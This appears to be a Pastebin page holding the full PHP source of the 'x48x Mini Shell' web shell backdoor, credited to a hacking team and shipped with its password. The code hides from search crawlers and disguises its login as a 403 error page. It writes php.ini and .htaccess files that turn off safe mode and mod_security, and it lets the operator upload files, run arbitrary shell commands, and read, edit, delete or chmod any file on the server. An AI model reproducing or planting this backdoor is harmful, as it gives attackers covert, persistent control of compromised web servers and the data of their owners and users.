Advertisement
Ribang

x48x Mini Web Shell Backdoor

Jun 27th, 2018
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.79 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. x48x Mini Shell Backdoor
  5. Recode by : _Tuan2Fay_
  6. Version : 2.0
  7. Team : Garuda Security Hacker
  8. Site : https://blog.garudasecurityhacker.org
  9. Facebook : https://www.facebook.com/gshofficialpageindonesia
  10. */
  11.  
  12. session_start();
  13. error_reporting(0);
  14. set_time_limit(0);
  15. @set_magic_quotes_runtime(0);
  16. @clearstatcache();
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @ini_set('output_buffering',0);
  21. @ini_set('display_errors', 0);
  22. $auth_pass = "6e728e1a015ec418f999496a5f9212b7"; // pass : melodynl
  23. $errorforbidden = $_SERVER['REQUEST_URI'];
  24. $color = "#00ff00";
  25. $default_action = 'FilesMan';
  26. $default_use_ajax = true;
  27. $default_charset = 'UTF-8';
  28. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  29. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  30. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  31. header('HTTP/1.0 404 Not Found');
  32. exit;
  33. }
  34. }
  35.  
  36. function login_shell() {
  37. ?>
  38. <?php
  39. $errorforbidden = $_SERVER['REQUEST_URI'];
  40. ?>
  41. <html><head>
  42. <title>403 Forbidden</title>
  43. </head><body>
  44. <h1>Forbidden</h1>
  45. <p>You don't have permission to access <?php print $errorforbidden; ?>
  46. on this server.</p>
  47. <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  48. </body></html>
  49. <?php
  50. if(isset($_GET['LogOn']))
  51. {
  52. echo '<br><br><br><br><br><center><form style="background-color:red;" method="post"><input type="password" name="pass"></form></center>';
  53. }
  54. ?>
  55. <?php
  56. exit;
  57. }
  58. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  59. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  60. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  61. else
  62. login_shell();
  63. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  64. @ob_clean();
  65. $file = $_GET['file'];
  66. header('Content-Description: File Transfer');
  67. header('Content-Type: application/octet-stream');
  68. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  69. header('Expires: 0');
  70. header('Cache-Control: must-revalidate');
  71. header('Pragma: public');
  72. header('Content-Length: ' . filesize($file));
  73. readfile($file);
  74. exit;
  75. }
  76. ?>
  77. <?php
  78. if (file_exists("php.ini")){
  79. }else{
  80. $img = fopen('php.ini', 'w');
  81. $sec = "safe_mode = OFF
  82. disable_funtions = NONE";
  83. fwrite($img ,$sec);
  84. fclose($img);}
  85. if (file_exists(".htaccess")){
  86. }else{
  87. $img2 = fopen('.htaccess', 'w');
  88. $sec2 = "<IfModule mod_security.c>
  89. SecFilterEngine Off
  90. SecFilterScanPOST Off
  91. </IfModule>";
  92. fwrite($img2 ,$sec2);
  93. fclose($img2);}
  94. $inids = @ini_get("disable_functions");
  95. $liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<b><font color='white'>Aman cuk :v</font></b>";
  96. if(get_magic_quotes_gpc()){
  97. foreach($_POST as $key=>$value){
  98. $_POST[$key] = stripslashes($value);
  99. }
  100. }
  101. echo '<!DOCTYPE HTML>
  102. <html>
  103. <head>
  104. <link href="" rel="stylesheet" type="text/css">
  105. <title>x48x</title>
  106. <style>
  107. body{
  108. font-family: "Racing Sans One", cursive;
  109. background-image: url("https://pbs.twimg.com/media/C4S23EeVYAESumU.jpg");
  110. color:purple;
  111. background-attachment:fixed;
  112. background-repeat:no-repeat;
  113. background-position:center;
  114. background-color:transparan;
  115. -webkit-background-size: 90% 100%;
  116. }
  117. #content tr:hover{
  118. background-color: pink;
  119. text-shadow:0px 0px 10px #fff;
  120. }
  121. #content .first{
  122. background-color: pink;
  123. }
  124. table{
  125. border: 1px #000000 dotted;
  126. }
  127. a{
  128. color:white;
  129. text-decoration: none;
  130. }
  131. a:hover{
  132. color:blue;
  133. text-shadow:0px 0px 10px #ffffff;
  134. }
  135. input,select,textarea{
  136. border: 1px #000000 solid;
  137. -moz-border-radius: 5px;
  138. -webkit-border-radius:5px;
  139. border-radius:5px;
  140. }
  141. </style>
  142. </head>
  143. <body>
  144. <h1><center><font color="pink">x48x Mini Shell</font></center></h1>
  145. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  146. <tr><td>';
  147. echo "Disable Functions: $liatds";
  148. echo '<br><font color="purple">Path :</font> ';
  149. if(isset($_GET['path'])){
  150. $path = $_GET['path'];
  151. }else{
  152. $path = getcwd();
  153. }
  154. $path = str_replace('\\','/',$path);
  155. $paths = explode('/',$path);
  156.  
  157. foreach($paths as $id=>$pat){
  158. if($pat == '' && $id == 0){
  159. $a = true;
  160. echo '<a href="?path=/">/</a>';
  161. continue;
  162. }
  163. if($pat == '') continue;
  164. echo '<a href="?path=';
  165. for($i=0;$i<=$id;$i++){
  166. echo "$paths[$i]";
  167. if($i != $id) echo "/";
  168. }
  169. echo '">'.$pat.'</a>/';
  170. }
  171. echo '</td></tr><tr><td>';
  172. if(isset($_FILES['file'])){
  173. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  174. echo '<font color="white">Upload Berhasil</font><br />';
  175. }else{
  176. echo '<font color="purple">Upload Gagal</font><br/>';
  177. }
  178. }
  179. echo '<form enctype="multipart/form-data" method="POST">
  180. <font color="purple">File Upload :</font> <input type="file" name="file" />
  181. <input type="submit" value="upload" />
  182. </form>';
  183. echo "<form method='post'>
  184. <font color='purple'>Command :</font>
  185. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  186. </form>
  187. </td></tr>";
  188. if($_POST['execmd']) {
  189. echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:purple; background-color:pink;'>".exe($_POST['cmd'])."</textarea></center>";
  190. }
  191. echo "<br></td></tr>";
  192. if(isset($_GET['filesrc'])){
  193. echo "<tr><td>Current File : ";
  194. echo $_GET['filesrc'];
  195. echo '</tr></td></table><br />';
  196. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  197. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  198. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  199. if($_POST['opt'] == 'chmod'){
  200. if(isset($_POST['perm'])){
  201. if(chmod($_POST['path'],$_POST['perm'])){
  202. echo '<font color="white">Change Permission Berhasil</font><br/>';
  203. }else{
  204. echo '<font color="purple">Change Permission Gagal</font><br />';
  205. }
  206. }
  207. echo '<form method="POST">
  208. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  209. <input type="hidden" name="path" value="'.$_POST['path'].'">
  210. <input type="hidden" name="opt" value="chmod">
  211. <input type="submit" value="Go" />
  212. </form>';
  213. }elseif($_POST['opt'] == 'rename'){
  214. if(isset($_POST['newname'])){
  215. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  216. echo '<font color="white">Ganti Nama Berhasil</font><br/>';
  217. }else{
  218. echo '<font color="purple">Ganti Nama Gagal</font><br />';
  219. }
  220. $_POST['name'] = $_POST['newname'];
  221. }
  222. echo '<form method="POST">
  223. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  224. <input type="hidden" name="path" value="'.$_POST['path'].'">
  225. <input type="hidden" name="opt" value="rename">
  226. <input type="submit" value="Go" />
  227. </form>';
  228. }elseif($_POST['opt'] == 'edit'){
  229. if(isset($_POST['src'])){
  230. $fp = fopen($_POST['path'],'w');
  231. if(fwrite($fp,$_POST['src'])){
  232. echo '<font color="white">Berhasil Edit File</font><br/>';
  233. }else{
  234. echo '<font color="purple">Gagal Edit File</font><br/>';
  235. }
  236. fclose($fp);
  237. }
  238. echo '<form method="POST">
  239. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  240. <input type="hidden" name="path" value="'.$_POST['path'].'">
  241. <input type="hidden" name="opt" value="edit">
  242. <input type="submit" value="Save" />
  243. </form>';
  244. }
  245. echo '</center>';
  246. }else{
  247. echo '</table><br/><center>';
  248. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  249. if($_POST['type'] == 'dir'){
  250. if(rmdir($_POST['path'])){
  251. echo '<font color="white">Directory Terhapus</font><br/>';
  252. }else{
  253. echo '<font color="purple">Directory Gagal Terhapus </font><br/>';
  254. }
  255. }elseif($_POST['type'] == 'file'){
  256. if(unlink($_POST['path'])){
  257. echo '<font color="white">File Terhapus</font><br/>';
  258. }else{
  259. echo '<font color="purple">File Gagal Dihapus</font><br/>';
  260. }
  261. }
  262. }
  263. echo '</center>';
  264. $scandir = scandir($path);
  265. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  266. <tr class="first">
  267. <td><center>Name</peller></center></td>
  268. <td><center>Size</peller></center></td>
  269. <td><center>Permission</peller></center></td>
  270. <td><center>Modify</peller></center></td>
  271. </tr>';
  272.  
  273. foreach($scandir as $dir){
  274. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  275. echo '<tr>
  276. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  277. <td><center>--</center></td>
  278. <td><center>';
  279. if(is_writable($path.'/'.$dir)) echo '<font color="pink">';
  280. elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
  281. echo perms($path.'/'.$dir);
  282. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  283.  
  284. echo '</center></td>
  285. <td><center><form method="POST" action="?option&path='.$path.'">
  286. <select name="opt">
  287. <option value="">Select</option>
  288. <option value="delete">Delete</option>
  289. <option value="chmod">Chmod</option>
  290. <option value="rename">Rename</option>
  291. </select>
  292. <input type="hidden" name="type" value="dir">
  293. <input type="hidden" name="name" value="'.$dir.'">
  294. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  295. <input type="submit" value=">">
  296. </form></center></td>
  297. </tr>';
  298. }
  299. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  300. foreach($scandir as $file){
  301. if(!is_file($path.'/'.$file)) continue;
  302. $size = filesize($path.'/'.$file)/1024;
  303. $size = round($size,3);
  304. if($size >= 1024){
  305. $size = round($size/1024,2).' MB';
  306. }else{
  307. $size = $size.' KB';
  308. }
  309.  
  310. echo '<tr>
  311. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  312. <td><center>'.$size.'</center></td>
  313. <td><center>';
  314. if(is_writable($path.'/'.$file)) echo '<font color="pink">';
  315. elseif(!is_readable($path.'/'.$file)) echo '<font color="purple">';
  316. echo perms($path.'/'.$file);
  317. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  318. echo '</center></td>
  319. <td><center><form method="POST" action="?option&path='.$path.'">
  320. <select name="opt">
  321. <option value="">Select</option>
  322. <option value="delete">Delete</option>
  323. <option value="chmod">Chmod</option>
  324. <option value="rename">Rename</option>
  325. <option value="edit">Edit</option>
  326. </select>
  327. <input type="hidden" name="type" value="file">
  328. <input type="hidden" name="name" value="'.$file.'">
  329. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  330. <input type="submit" value=">">
  331. </form></center></td>
  332. </tr>';
  333. }
  334. echo '</table>
  335. </div>';
  336. }
  337. echo '<center><br/><font color="pink">x48x Mini Shell</font><br>';
  338. echo "[ <a href='?path=$path&go=cabs'>LogOut</a> ]
  339. </center>
  340. </body>
  341. </html>";
  342.  
  343. if($_GET['go'] == 'cabs') {
  344.  
  345. echo '<form action="" method="post">';
  346. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  347. echo '<meta http-equiv="refresh" content="3" />';
  348. }
  349.  
  350. function perms($file){
  351. $perms = fileperms($file);
  352.  
  353. if (($perms & 0xC000) == 0xC000) {
  354. // Socket
  355. $info = 's';
  356. } elseif (($perms & 0xA000) == 0xA000) {
  357. // Symbolic Link
  358. $info = 'l';
  359. } elseif (($perms & 0x8000) == 0x8000) {
  360. // Regular
  361. $info = '-';
  362. } elseif (($perms & 0x6000) == 0x6000) {
  363. // Block special
  364. $info = 'b';
  365. } elseif (($perms & 0x4000) == 0x4000) {
  366. // Directory
  367. $info = 'd';
  368. } elseif (($perms & 0x2000) == 0x2000) {
  369. // Character special
  370. $info = 'c';
  371. } elseif (($perms & 0x1000) == 0x1000) {
  372. // FIFO pipe
  373. $info = 'p';
  374. } else {
  375. // Unknown
  376. $info = 'u';
  377. }
  378.  
  379. // Owner
  380. $info .= (($perms & 0x0100) ? 'r' : '-');
  381. $info .= (($perms & 0x0080) ? 'w' : '-');
  382. $info .= (($perms & 0x0040) ?
  383. (($perms & 0x0800) ? 's' : 'x' ) :
  384. (($perms & 0x0800) ? 'S' : '-'));
  385.  
  386. // Group
  387. $info .= (($perms & 0x0020) ? 'r' : '-');
  388. $info .= (($perms & 0x0010) ? 'w' : '-');
  389. $info .= (($perms & 0x0008) ?
  390. (($perms & 0x0400) ? 's' : 'x' ) :
  391. (($perms & 0x0400) ? 'S' : '-'));
  392.  
  393. // World
  394. $info .= (($perms & 0x0004) ? 'r' : '-');
  395. $info .= (($perms & 0x0002) ? 'w' : '-');
  396. $info .= (($perms & 0x0001) ?
  397. (($perms & 0x0200) ? 't' : 'x' ) :
  398. (($perms & 0x0200) ? 'T' : '-'));
  399.  
  400. return $info;
  401. }
  402. //////all functions disini tempatnya/////
  403. function exe($cmd) {
  404. if(function_exists('system')) {
  405. @ob_start();
  406. @system($cmd);
  407. $buff = @ob_get_contents();
  408. @ob_end_clean();
  409. return $buff;
  410. } elseif(function_exists('exec')) {
  411. @exec($cmd,$results);
  412. $buff = "";
  413. foreach($results as $result) {
  414. $buff .= $result;
  415. } return $buff;
  416. } elseif(function_exists('passthru')) {
  417. @ob_start();
  418. @passthru($cmd);
  419. $buff = @ob_get_contents();
  420. @ob_end_clean();
  421. return $buff;
  422. } elseif(function_exists('shell_exec')) {
  423. $buff = @shell_exec($cmd);
  424. return $buff;
  425. }
  426. }
  427. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement